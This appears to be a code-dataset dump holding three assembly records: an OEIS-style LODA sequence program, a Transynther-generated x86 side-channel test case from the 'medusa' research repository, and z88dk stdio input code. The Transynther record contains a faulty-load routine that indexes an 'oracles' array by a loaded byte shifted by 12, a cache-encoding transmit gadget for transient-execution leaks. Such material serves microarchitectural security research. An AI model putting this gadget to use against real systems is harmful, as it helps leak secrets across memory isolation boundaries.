; 116250751,2428905601,7706362951,15948622801,27155685151,41327550001,58464217351,78565687201,101631959551,127663034401,156658911751,188619591601,223545073951,261435358801,302290446151,346110336001,392895028351,442644523201,495358820551,551037920401,609681822751,671290527601,735864034951,803402344801,873905457151,947373372001,1023806089351,1103203609201,1185565931551,1270893056401,1359184983751,1450441713601,1544663245951,1641849580801,1742000718151,1845116658001,1951197400351,2060242945201,2172253292551,2287228442401,2405168394751,2526073149601,2649942706951,2776777066801,2906576229151,3039340194001,3175068961351,3313762531201,3455420903551,3600044078401,3747632055751,3898184835601,4051702417951,4208184802801,4367631990151,4530043980001,4695420772351,4863762367201,5035068764551,5209339964401,5386575966751,5566776771601,5749942378951,5936072788801,6125168001151,6317228016001,6512252833351,6710242453201,6911196875551,7115116100401,7322000127751,7531848957601,7744662589951,7960441024801,8179184262151,8400892302001,8625565144351,8853202789201,9083805236551,9317372486401,9553904538751,9793401393601,10035863050951,10281289510801,10529680773151,10781036838001,11035357705351,11292643375201,11552893847551,11816109122401,12082289199751,12351434079601,12623543761951,12898618246801,13176657534151,13457661624001,13741630516351,14028564211201,14318462708551,14611326008401
seq $0,157769 ; 8984250n - 6468330.
pow $0,2
sub $0,6329853446400
div $0,54450
add $0,116250751
| 170.111111
| 1,381
| 0.906597
|
64b8ea5e9fcb86c2945e7bcbfb39cc5555498aac
| 3,689
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1228.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1228.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1228.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_normal+0x1b213, %rax
nop
nop
nop
nop
add $28970, %rcx
mov (%rax), %r8
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 87.833333
| 2,999
| 0.664408
|
716b54eaefc895479dc78be1fe75abfd0265a0f5
| 1,096
|
asm
|
Assembly
|
libsrc/stdio_new/file/stream-in/stdio_getchar.asm
|
andydansby/z88dk-mk2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | 1
|
2020-09-15T08:35:49.000Z
|
2020-09-15T08:35:49.000Z
|
libsrc/stdio_new/file/stream-in/stdio_getchar.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
libsrc/stdio_new/file/stream-in/stdio_getchar.asm
|
andydansby/z88dk-MK2
|
51c15f1387293809c496f5eaf7b196f8a0e9b66b
|
[
"ClArtistic"
] | null | null | null |
; stdio_getchar
; 05.2008 aralbrec
XLIB stdio_getchar
LIB l_jpix
INCLUDE "../../stdio.def"
; all character input from stream is read through this function
;
; enter : ix = FILE *
; bc' = number of chars read thus far
; de' = number of conversions done thus far
; MUST NOT ALTER HL' FOR SSCANF FUNCTIONS
; exit : bc' = number of chars read thus far
; de' = number of conversions done thus far
; a = input char
; carry set if error on stream (EOF)
; uses : af, exx
.stdio_getchar
bit 0,(ix+3) ; is an unget char available?
jr z, readfromstream
ld a,(ix+4) ; return unget char
res 0,(ix+3) ; unget char no longer available
exx
inc bc ; increase number of bytes read from stream
exx
or a ; no error
ret
.readfromstream
exx
push bc
push de
ld a,STDIO_MSG_GETC
call l_jpix
pop de
pop bc
jr c, error
inc bc ; increase number of bytes read from stream
.error
exx
ret
| 20.679245
| 74
| 0.570255
|
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